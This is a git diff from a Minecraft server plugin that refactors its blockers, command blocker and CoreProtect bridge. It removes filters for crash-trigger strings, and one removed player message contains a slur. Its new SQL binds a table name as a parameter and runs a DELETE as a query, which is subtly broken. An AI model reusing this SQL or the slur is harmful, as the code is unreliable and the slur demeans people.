         if (!ConfigEntry.ALLOW_REDSTONE.getBoolean())
         {
-            event.setNewCurrent(0);
+            // Check if the block is involved with redstone.
+            if (event.getBlock().getBlockData() instanceof AnaloguePowerable || event.getBlock().getBlockData() instanceof Powerable || redstoneBlocks.contains(event.getBlock().getType()))
+            {
+                event.setCancelled(true);
+            }
         }
     }
 
     @EventHandler(priority = EventPriority.NORMAL)
     public void onPlayerRespawn(PlayerRespawnEvent event)
     {
-        double maxHealth = event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue();
+        double maxHealth = Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).getValue();
         if (maxHealth < 1)
         {
-            for (AttributeModifier attributeModifier : event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).getModifiers())
+            for (AttributeModifier attributeModifier : Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).getModifiers())
             {
-                event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH).removeModifier(attributeModifier);
+                Objects.requireNonNull(event.getPlayer().getAttribute(Attribute.GENERIC_MAX_HEALTH)).removeModifier(attributeModifier);
             }
         }
     }
+
     @EventHandler(priority = EventPriority.NORMAL)
     public void onBlockDispense(BlockDispenseEvent event)
     {

src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java

@@ -1,34 +1,26 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.Groups;
 import org.bukkit.ChatColor;
 import org.bukkit.Material;
-import org.bukkit.block.Biome;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
+import org.bukkit.event.player.PlayerBedEnterEvent;
 import org.bukkit.event.player.PlayerInteractEvent;
 import org.bukkit.inventory.ItemStack;
 
 public class InteractBlocker extends FreedomService
 {
-
-    public InteractBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -44,10 +36,9 @@ public class InteractBlocker extends FreedomService
                 break;
             }
 
-            case LEFT_CLICK_AIR:
-            case LEFT_CLICK_BLOCK:
+            default:
             {
-                //
+                // Do nothing
                 break;
             }
         }
@@ -56,15 +47,20 @@ public class InteractBlocker extends FreedomService
     @EventHandler(priority = EventPriority.HIGH)
     public void onRightClickBell(PlayerInteractEvent event)
     {
-        if (event.getClickedBlock() != null)
-        {
-            if (event.getClickedBlock().getType().equals(Material.BELL))
-            {
-                if (!ConfigEntry.ALLOW_BELLS.getBoolean())
+        if (event.getClickedBlock() != null && event.getClickedBlock().getType().equals(Material.BELL) && !ConfigEntry.ALLOW_BELLS.getBoolean())
         {
             event.setCancelled(true);
         }
     }
+
+    @EventHandler
+    public void onBedEnter(PlayerBedEnterEvent event)
+    {
+        Player player = event.getPlayer();
+        if (Groups.EXPLOSIVE_BED_BIOMES.contains(event.getBed().getBiome()))
+        {
+            player.sendMessage(ChatColor.RED + "You may not sleep here.");
+            event.setCancelled(true);
         }
     }
 
@@ -74,7 +70,7 @@ public class InteractBlocker extends FreedomService
 
         if (event.getClickedBlock() != null)
         {
-            if (event.getClickedBlock().getType().equals(Material.STRUCTURE_BLOCK) || event.getClickedBlock().getType().equals(Material.JIGSAW))
+            if (event.getClickedBlock().getType().equals(Material.STRUCTURE_BLOCK) || event.getClickedBlock().getType().equals(Material.JIGSAW) || event.getClickedBlock().getType().equals(Material.RESPAWN_ANCHOR))
             {
                 event.setCancelled(true);
                 event.getPlayer().closeInventory();
@@ -89,13 +85,6 @@ public class InteractBlocker extends FreedomService
             return;
         }
 
-        if (Groups.BED_COLORS.contains(event.getMaterial()) && event.getClickedBlock().getBiome().equals(Biome.NETHER))
-        {
-            player.sendMessage(ChatColor.RED + "You can't sleep in hell.");
-            event.setCancelled(true);
-            return;
-        }
-
         switch (event.getMaterial())
         {
             case WATER_BUCKET:
@@ -168,6 +157,11 @@ public class InteractBlocker extends FreedomService
                 event.setCancelled(true);
                 break;
             }
+            default:
+            {
+                // Do nothing
+                break;
+            }
         }
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/MobBlocker.java

@@ -1,9 +1,8 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
+import java.util.Objects;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.util.FLog;
 import org.bukkit.attribute.Attributable;
 import org.bukkit.attribute.Attribute;
 import org.bukkit.entity.Bat;
@@ -22,19 +21,13 @@ import org.bukkit.event.entity.EntitySpawnEvent;
 
 public class MobBlocker extends FreedomService
 {
-
-    public MobBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -50,13 +43,13 @@ public class MobBlocker extends FreedomService
         Entity entity = e.getEntity();
         if (entity instanceof Attributable)
         {
-            if (((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE).getBaseValue() > 255.0)
+            if (Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE)).getBaseValue() > 255.0)
             {
-                ((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE).setBaseValue(255.0);
+                Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_FOLLOW_RANGE)).setBaseValue(255.0);
             }
-            if (((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED).getBaseValue() > 10.0)
+            if (Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED)).getBaseValue() > 10.0)
             {
-                ((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED).setBaseValue(10.0);
+                Objects.requireNonNull(((Attributable)entity).getAttribute(Attribute.GENERIC_MOVEMENT_SPEED)).setBaseValue(10.0);
             }
         }
     }
@@ -125,7 +118,7 @@ public class MobBlocker extends FreedomService
         }
 
         int mobcount = 0;
-        for (Entity entity : event.getLocation().getWorld().getLivingEntities())
+        for (Entity entity : Objects.requireNonNull(event.getLocation().getWorld()).getLivingEntities())
         {
             if (!(entity instanceof HumanEntity) && entity instanceof LivingEntity)
             {

src/main/java/me/totalfreedom/totalfreedommod/blocking/PVPBlocker.java

@@ -1,32 +1,26 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import org.bukkit.ChatColor;
 import org.bukkit.GameMode;
 import org.bukkit.entity.Arrow;
-import org.bukkit.entity.Player;
-import org.bukkit.entity.Trident;
 import org.bukkit.entity.FishHook;
+import org.bukkit.entity.Player;
+import org.bukkit.entity.SpectralArrow;
+import org.bukkit.entity.Trident;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.entity.EntityDamageByEntityEvent;
 
 public class PVPBlocker extends FreedomService
 {
-
-    public PVPBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -50,6 +44,14 @@ public class PVPBlocker extends FreedomService
                     player = (Player)arrow.getShooter();
                 }
             }
+            else if (event.getDamager() instanceof SpectralArrow)
+            {
+                SpectralArrow spectralArrow = (SpectralArrow)event.getDamager();
+                if (spectralArrow.getShooter() instanceof Player)
+                {
+                    player = (Player)spectralArrow.getShooter();
+                }
+            }
             else if (event.getDamager() instanceof Trident)
             {
                 Trident trident = (Trident)event.getDamager();
@@ -91,7 +93,5 @@ public class PVPBlocker extends FreedomService
                 event.setCancelled(true);
             }
         }
-
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/PotionBlocker.java

@@ -2,7 +2,6 @@ package me.totalfreedom.totalfreedommod.blocking;
 
 import java.util.Collection;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import org.bukkit.ChatColor;
 import org.bukkit.entity.Player;
 import org.bukkit.entity.ThrownPotion;
@@ -19,18 +18,13 @@ public class PotionBlocker extends FreedomService
 
     public static final int POTION_BLOCK_RADIUS_SQUARED = 20 * 20;
 
-    public PotionBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -88,5 +82,4 @@ public class PotionBlocker extends FreedomService
         }
         return false;
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/SignBlocker.java

@@ -1,12 +1,10 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
-import net.minecraft.server.v1_15_R1.NBTTagCompound;
+import net.minecraft.server.v1_16_R3.NBTTagCompound;
 import org.bukkit.ChatColor;
-import org.bukkit.Material;
 import org.bukkit.Tag;
-import org.bukkit.craftbukkit.v1_15_R1.inventory.CraftItemStack;
+import org.bukkit.craftbukkit.v1_16_R3.inventory.CraftItemStack;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -19,19 +17,13 @@ import org.bukkit.inventory.ItemStack;
 
 public class SignBlocker extends FreedomService
 {
-
-    public SignBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -43,8 +35,9 @@ public class SignBlocker extends FreedomService
         if (Tag.SIGNS.getValues().contains(event.getBlock().getType()))
         {
             ItemStack sign = event.getItemInHand();
-            net.minecraft.server.v1_15_R1.ItemStack nmsSign = CraftItemStack.asNMSCopy(sign);
+            net.minecraft.server.v1_16_R3.ItemStack nmsSign = CraftItemStack.asNMSCopy(sign);
             NBTTagCompound compound = (nmsSign.hasTag()) ? nmsSign.getTag() : new NBTTagCompound();
+            assert compound != null;
             NBTTagCompound bet = compound.getCompound("BlockEntityTag");
             String line1 = bet.getString("Text1");
             String line2 = bet.getString("Text2");
@@ -55,16 +48,6 @@ public class SignBlocker extends FreedomService
                 player.sendMessage(ChatColor.GRAY + "You are not allowed to place command signs.");
                 event.setCancelled(true);
             }
-            if (line1.contains("translate") || line2.contains("translate") || line3.contains("translate") || line4.contains("translate"))
-            {
-                player.sendMessage(ChatColor.GRAY + "You are not allowed to place broken strings that Mojang never fixed.");
-                event.setCancelled(true);
-            }
-            if (line1.contains("translation.test.") || line2.contains("translation.test.") || line3.contains("translation.test.") || line4.contains("translation.test."))
-            {
-                player.sendMessage(ChatColor.BOLD + "No.");
-                event.setCancelled(true);
-            }
         }
     }
 

src/main/java/me/totalfreedom/totalfreedommod/blocking/command/CommandBlocker.java

@@ -2,24 +2,25 @@ package me.totalfreedom.totalfreedommod.blocking.command;
 
 import com.google.common.collect.Lists;
 import com.google.common.collect.Maps;
+import java.lang.reflect.Field;
 import java.util.List;
 import java.util.Map;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.command.CommandReflection;
 import org.apache.commons.lang.StringUtils;
-import org.bukkit.ChatColor;
+import org.bukkit.Bukkit;
 import org.bukkit.command.Command;
 import org.bukkit.command.CommandMap;
 import org.bukkit.command.CommandSender;
+import org.bukkit.command.SimpleCommandMap;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.player.PlayerCommandPreprocessEvent;
+import org.bukkit.plugin.SimplePluginManager;
 
 public class CommandBlocker extends FreedomService
 {
@@ -29,19 +30,32 @@ public class CommandBlocker extends FreedomService
     private final Map<String, CommandBlockerEntry> entryList = Maps.newHashMap();
     private final List<String> unknownCommands = Lists.newArrayList();
 
-    public CommandBlocker(TotalFreedomMod plugin)
+    public static CommandMap getCommandMap()
     {
-        super(plugin);
+        try
+        {
+            SimplePluginManager simplePluginManager = (SimplePluginManager)Bukkit.getServer().getPluginManager();
+
+            Field commandMapField = SimplePluginManager.class.getDeclaredField("commandMap");
+            commandMapField.setAccessible(true);
+
+            return (SimpleCommandMap)commandMapField.get(simplePluginManager);
+        }
+        catch (NoSuchFieldException | IllegalArgumentException | IllegalAccessException e)
+        {
+            FLog.severe("Failed to get command map field (" + e.getMessage() + ")");
+        }
+        return null;
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
         load();
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         entryList.clear();
     }
@@ -51,12 +65,7 @@ public class CommandBlocker extends FreedomService
         entryList.clear();
         unknownCommands.clear();
 
-        final CommandMap commandMap = CommandReflection.getCommandMap();
-        if (commandMap == null)
-        {
-            FLog.severe("Error loading commandMap.");
-            return;
-        }
+        final CommandMap commandMap = getCommandMap();
 
         @SuppressWarnings("unchecked")
         List<String> blockedCommands = (List<String>)ConfigEntry.BLOCKED_COMMANDS.getList();
@@ -74,7 +83,7 @@ public class CommandBlocker extends FreedomService
             String commandName = parts[2].toLowerCase().substring(1);
             final String message = (parts.length > 3 ? parts[3] : null);
 
-            if (rank == null || action == null || commandName == null || commandName.isEmpty())
+            if (rank == null || action == null || commandName.isEmpty())
             {
                 FLog.warning("Invalid command blocker entry: " + rawEntry);
                 continue;
@@ -88,6 +97,7 @@ public class CommandBlocker extends FreedomService
                 subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).trim().toLowerCase();
             }
 
+            assert commandMap != null;
             final Command command = commandMap.getCommand(commandName);
 
             // Obtain command from alias
@@ -106,9 +116,9 @@ public class CommandBlocker extends FreedomService
                 continue;
             }
 
-            final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
-            entryList.put(blockedCommandEntry.getCommand(), blockedCommandEntry);
 
+            final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
+            entryList.put(commandName, blockedCommandEntry);
             if (command != null)
             {
                 for (String alias : command.getAliases())
@@ -130,12 +140,6 @@ public class CommandBlocker extends FreedomService
             // CommandBlocker handles messages and broadcasts
             event.setCancelled(true);
         }
-
-        if (event.getMessage().contains("translation.test.invalid") || event.getMessage().contains("translation.test.invalid2"))
-        {
-            event.setCancelled(true);
-            FUtil.playerMsg(event.getPlayer(), ChatColor.RED + "No crishy crashy faggy");
-        }
     }
 
     public boolean isCommandBlocked(String command, CommandSender sender)

src/main/java/me/totalfreedom/totalfreedommod/blocking/command/CommandBlockerAction.java

@@ -8,16 +8,11 @@ public enum CommandBlockerAction
     BLOCK_UNKNOWN("u");
     private final String token;
 
-    private CommandBlockerAction(String token)
+    CommandBlockerAction(String token)
     {
         this.token = token;
     }
 
-    public String getToken()
-    {
-        return this.token;
-    }
-
     public static CommandBlockerAction fromToken(String token)
     {
         for (CommandBlockerAction action : CommandBlockerAction.values())
@@ -29,4 +24,9 @@ public enum CommandBlockerAction
         }
         return null;
     }
+
+    public String getToken()
+    {
+        return this.token;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/command/CommandBlockerEntry.java

@@ -1,6 +1,5 @@
 package me.totalfreedom.totalfreedommod.blocking.command;
 
-import lombok.Getter;
 import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
@@ -11,15 +10,15 @@ import org.spigotmc.SpigotConfig;
 public class CommandBlockerEntry
 {
 
-    @Getter
+
     private final CommandBlockerRank rank;
-    @Getter
+
     private final CommandBlockerAction action;
-    @Getter
+
     private final String command;
-    @Getter
+
     private final String subCommand;
-    @Getter
+
     private final String message;
 
     public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String message)
@@ -40,7 +39,7 @@ public class CommandBlockerEntry
     {
         if (action == CommandBlockerAction.BLOCK_AND_EJECT && sender instanceof Player)
         {
-            TotalFreedomMod.plugin().ae.autoEject((Player)sender, "You used a prohibited command: " + command);
+            TotalFreedomMod.getPlugin().ae.autoEject((Player)sender, "You used a prohibited command: " + command);
             FUtil.bcastMsg(sender.getName() + " was automatically kicked for using harmful commands.", ChatColor.RED);
             return;
         }
@@ -51,4 +50,29 @@ public class CommandBlockerEntry
         }
         FUtil.playerMsg(sender, FUtil.colorize(message));
     }
+
+    public CommandBlockerRank getRank()
+    {
+        return rank;
+    }
+
+    public CommandBlockerAction getAction()
+    {
+        return action;
+    }
+
+    public String getCommand()
+    {
+        return command;
+    }
+
+    public String getSubCommand()
+    {
+        return subCommand;
+    }
+
+    public String getMessage()
+    {
+        return message;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/command/CommandBlockerRank.java

@@ -4,50 +4,32 @@ import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
 
 public enum CommandBlockerRank
 {
-
-    ANYONE("a"),
+    EVERYONE("e"),
     OP("o"),
-    SUPER("s"),
-    TELNET("t"),
-    SENIOR("c"),
+    ADMIN("a"),
+    SENIOR_ADMIN("s"),
     NOBODY("n");
     //
     private final String token;
 
-    private CommandBlockerRank(String token)
+    CommandBlockerRank(String token)
     {
         this.token = token;
     }
 
-    public String getToken()
-    {
-        return this.token;
-    }
-
-    public boolean hasPermission(CommandSender sender)
-    {
-        return fromSender(sender).ordinal() >= ordinal();
-    }
-
     public static CommandBlockerRank fromSender(CommandSender sender)
     {
-        if (!(sender instanceof Player))
-        {
-            return TELNET;
-        }
-
-        Admin admin = TotalFreedomMod.plugin().al.getAdmin(sender);
+        Admin admin = TotalFreedomMod.getPlugin().al.getAdmin(sender);
         if (admin != null)
         {
             if (admin.getRank() == Rank.SENIOR_ADMIN)
             {
-                return SENIOR;
+                return SENIOR_ADMIN;
             }
-            return SUPER;
+            return ADMIN;
         }
 
         if (sender.isOp())
@@ -55,8 +37,7 @@ public enum CommandBlockerRank
             return OP;
         }
 
-        return ANYONE;
-
+        return EVERYONE;
     }
 
     public static CommandBlockerRank fromToken(String token)
@@ -68,6 +49,16 @@ public enum CommandBlockerRank
                 return rank;
             }
         }
-        return ANYONE;
+        return EVERYONE;
+    }
+
+    public String getToken()
+    {
+        return this.token;
+    }
+
+    public boolean hasPermission(CommandSender sender)
+    {
+        return fromSender(sender).ordinal() >= ordinal();
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/BukkitTelnetBridge.java

@@ -1,7 +1,6 @@
 package me.totalfreedom.totalfreedommod.bridge;
 
 import java.util.ArrayList;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import me.totalfreedom.bukkittelnet.BukkitTelnet;
@@ -10,7 +9,6 @@ import me.totalfreedom.bukkittelnet.api.TelnetPreLoginEvent;
 import me.totalfreedom.bukkittelnet.api.TelnetRequestDataTagsEvent;
 import me.totalfreedom.bukkittelnet.session.ClientSession;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FLog;
@@ -24,18 +22,13 @@ public class BukkitTelnetBridge extends FreedomService
 
     private BukkitTelnet bukkitTelnetPlugin = null;
 
-    public BukkitTelnetBridge(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -72,10 +65,8 @@ public class BukkitTelnetBridge extends FreedomService
     @EventHandler(priority = EventPriority.NORMAL)
     public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event)
     {
-        final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator();
-        while (it.hasNext())
+        for (Map.Entry<Player, Map<String, Object>> entry : event.getDataTags().entrySet())
         {
-            final Map.Entry<Player, Map<String, Object>> entry = it.next();
             final Player player = entry.getKey();
             final Map<String, Object> playerTags = entry.getValue();
 
@@ -90,7 +81,7 @@ public class BukkitTelnetBridge extends FreedomService
 
                 isAdmin = active;
                 isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN;
-                isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.TELNET_ADMIN);
+                isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.ADMIN);
             }
 
             playerTags.put("tfm.admin.isAdmin", isAdmin);
@@ -154,10 +145,8 @@ public class BukkitTelnetBridge extends FreedomService
             final BukkitTelnet telnet = getBukkitTelnetPlugin();
             if (telnet != null)
             {
-                final Iterator<ClientSession> it = telnet.appender.getSessions().iterator();
-                while (it.hasNext())
+                for (ClientSession session : telnet.appender.getSessions())
                 {
-                    final ClientSession session = it.next();
                     if (name != null && name.equalsIgnoreCase(session.getUserName()))
                     {
                         sessionsToRemove.add(session);

src/main/java/me/totalfreedom/totalfreedommod/bridge/CoreProtectBridge.java

@@ -1,45 +1,85 @@
 package me.totalfreedom.totalfreedommod.bridge;
 
 import java.io.File;
-import java.sql.Connection;
-import java.sql.DriverManager;
-import java.sql.ResultSet;
-import java.sql.SQLException;
-import java.sql.Statement;
+import java.sql.*;
+import java.text.DecimalFormat;
 import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.player.PlayerData;
 import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
 import net.coreprotect.CoreProtect;
 import net.coreprotect.CoreProtectAPI;
 import org.bukkit.Bukkit;
+import org.bukkit.ChatColor;
 import org.bukkit.World;
+import org.bukkit.block.Block;
+import org.bukkit.block.BlockState;
+import org.bukkit.block.data.BlockData;
+import org.bukkit.entity.Player;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.EventPriority;
+import org.bukkit.event.block.Action;
+import org.bukkit.event.player.PlayerInteractEvent;
 import org.bukkit.plugin.Plugin;
 import org.bukkit.scheduler.BukkitRunnable;
 import org.bukkit.scheduler.BukkitTask;
 
 public class CoreProtectBridge extends FreedomService
 {
-    private CoreProtectAPI coreProtectAPI = null;
-
+    public static Map<Player, FUtil.PaginationList<String>> HISTORY_MAP = new HashMap<>();
     private final List<String> tables = Arrays.asList("co_sign", "co_session", "co_container", "co_block");
 
+    private final HashMap<String, Long> cooldown = new HashMap<>();
+    private CoreProtectAPI coreProtectAPI = null;
     private BukkitTask wiper;
 
-    public CoreProtectBridge(TotalFreedomMod plugin)
+    public static Long getSecondsLeft(long prevTime, int timeAdd)
     {
-        super(plugin);
+        return prevTime / 1000L + timeAdd - System.currentTimeMillis() / 1000L;
+    }
+
+    // Unix timestamp converter taken from Functions class in CoreProtect, not my code
+    public static String getTimeAgo(int logTime, int currentTime)
+    {
+        StringBuilder message = new StringBuilder();
+        double timeSince = (double)currentTime - ((double)logTime + 0.0D);
+        timeSince /= 60.0D;
+        if (timeSince < 60.0D)
+        {
+            message.append((new DecimalFormat("0.00")).format(timeSince)).append("/m ago");
+        }
+
+        if (message.length() == 0)
+        {
+            timeSince /= 60.0D;
+            if (timeSince < 24.0D)
+            {
+                message.append((new DecimalFormat("0.00")).format(timeSince)).append("/h ago");
+            }
+        }
+
+        if (message.length() == 0)
+        {
+            timeSince /= 24.0D;
+            message.append((new DecimalFormat("0.00")).format(timeSince)).append("/d ago");
+        }
+
+        return message.toString();
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -49,8 +89,8 @@ public class CoreProtectBridge extends FreedomService
         try
         {
             final Plugin coreProtectPlugin = Bukkit.getServer().getPluginManager().getPlugin("CoreProtect");
-
-            if (coreProtectPlugin != null && coreProtectPlugin instanceof CoreProtect)
+            assert coreProtectPlugin != null;
+            if (coreProtectPlugin instanceof CoreProtect)
             {
                 coreProtect = (CoreProtect)coreProtectPlugin;
             }
@@ -109,7 +149,7 @@ public class CoreProtectBridge extends FreedomService
             @Override
             public void run()
             {
-                coreProtect.performRollback(86400, Arrays.asList(name), null, null, null, null, 0, null);
+                coreProtect.performRollback(86400, Collections.singletonList(name), null, null, null, null, 0, null);
             }
         }.runTaskAsynchronously(plugin);
     }
@@ -129,7 +169,7 @@ public class CoreProtectBridge extends FreedomService
             @Override
             public void run()
             {
-                coreProtect.performRestore(86400, Arrays.asList(name), null, null, null, null, 0, null);
+                coreProtect.performRestore(86400, Collections.singletonList(name), null, null, null, null, 0, null);
             }
         }.runTaskAsynchronously(plugin);
     }
@@ -174,7 +214,7 @@ public class CoreProtectBridge extends FreedomService
 
         /* As CoreProtect doesn't have an API method for deleting all of the data for a specific world
            we have to do this manually via SQL */
-        Connection connection = null;
+        Connection connection;
         try
         {
             String host = ConfigEntry.COREPROTECT_MYSQL_HOST.getString();
@@ -184,11 +224,12 @@ public class CoreProtectBridge extends FreedomService
             String database = ConfigEntry.COREPROTECT_MYSQL_DATABASE.getString();
             String url = host + ":" + port + "/" + database + "?user=" + username + "&password=" + password + "&useSSL=false";
             connection = DriverManager.getConnection("jdbc:sql://" + url);
-            final Statement statement = connection.createStatement();
+            final PreparedStatement statement = connection.prepareStatement("SELECT id FROM co_world WHERE world = ?");
             statement.setQueryTimeout(30);
 
             // Obtain world ID from CoreProtect database
-            ResultSet resultSet = statement.executeQuery("SELECT id FROM co_world WHERE world = '" + world.getName() + "'");
+            statement.setString(1, world.getName());
+            ResultSet resultSet = statement.executeQuery();
             String worldID = null;
             while (resultSet.next())
             {
@@ -206,7 +247,10 @@ public class CoreProtectBridge extends FreedomService
             // Iterate through each table and delete their data if the world ID matches
             for (String table : tables)
             {
-                statement.executeQuery("DELETE FROM " + table + " WHERE wid = " + worldID);
+                final PreparedStatement statement1 = connection.prepareStatement("DELETE FROM ? WHERE wid = ?");
+                statement1.setString(1, table);
+                statement1.setString(2, worldID);
+                statement1.executeQuery();
             }
 
             connection.close();
@@ -223,4 +267,179 @@ public class CoreProtectBridge extends FreedomService
             server.shutdown();
         }
     }
+
+    @EventHandler(priority = EventPriority.MONITOR)
+    public void onPlayerInteract(PlayerInteractEvent event)
+    {
+        Player player = event.getPlayer();
+        PlayerData data = plugin.pl.getData(player);
+        Block block = event.getClickedBlock();
+        final CoreProtectAPI coreProtect = getCoreProtectAPI();
+
+        // TODO: Rewrite this
+        if (data.hasInspection())
+        {
+            int cooldownTime = 3;
+
+            // Cooldown check
+            if ((event.getAction() == Action.LEFT_CLICK_BLOCK || event.getAction() == Action.RIGHT_CLICK_BLOCK)
+                    && cooldown.containsKey(player.getName()))
+            {
+                long secondsLeft = getSecondsLeft(cooldown.get(player.getName()), cooldownTime);
+                if (secondsLeft > 0L)
+                {
+                    event.setCancelled(true);
+                    player.sendMessage(ChatColor.RED + String.valueOf(secondsLeft) + " seconds left before next query.");
+                    return;
+                }
+            }
+
+            // Actual lookup time
+            if (event.getAction() == Action.LEFT_CLICK_BLOCK)
+            {
+                if (block != null)
+                {
+                    event.setCancelled(true);
+                    List<String[]> lookup = coreProtect.blockLookup(block, -1);
+
+                    if (!plugin.al.isAdmin(player))
+                    {
+                        cooldown.put(player.getName(), System.currentTimeMillis());
+                    }
+
+                    if (lookup != null)
+                    {
+                        if (lookup.isEmpty())
+                        {
+                            player.sendMessage(net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector " + ChatColor.WHITE + "- " + "No block data found for this location");
+                            return;
+                        }
+
+                        HISTORY_MAP.remove(event.getPlayer());
+                        HISTORY_MAP.put(event.getPlayer(), new FUtil.PaginationList<>(10));
+                        FUtil.PaginationList<String> paged = HISTORY_MAP.get(event.getPlayer());
+
+                        player.sendMessage("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- " +
+                                ChatColor.GRAY + "(x" + block.getX() + "/" + "y" + block.getY() + "/" + "z" + block.getZ() + ")");
+
+                        for (String[] value : lookup)
+                        {
+                            CoreProtectAPI.ParseResult result = coreProtect.parseResult(value);
+                            BlockData bl = result.getBlockData();
+
+                            String s;
+                            String st = "";
+
+                            if (result.getActionString().equals("Placement"))
+                            {
+                                s = " placed ";
+                            }
+                            else if (result.getActionString().equals("Removal"))
+                            {
+                                s = " broke ";
+                            }
+                            else
+                            {
+                                s = " interacted with ";
+                            }
+
+                            if (result.isRolledBack())
+                            {
+                                st += "§m";
+                            }
+
+                            int time = (int)(System.currentTimeMillis() / 1000L);
+
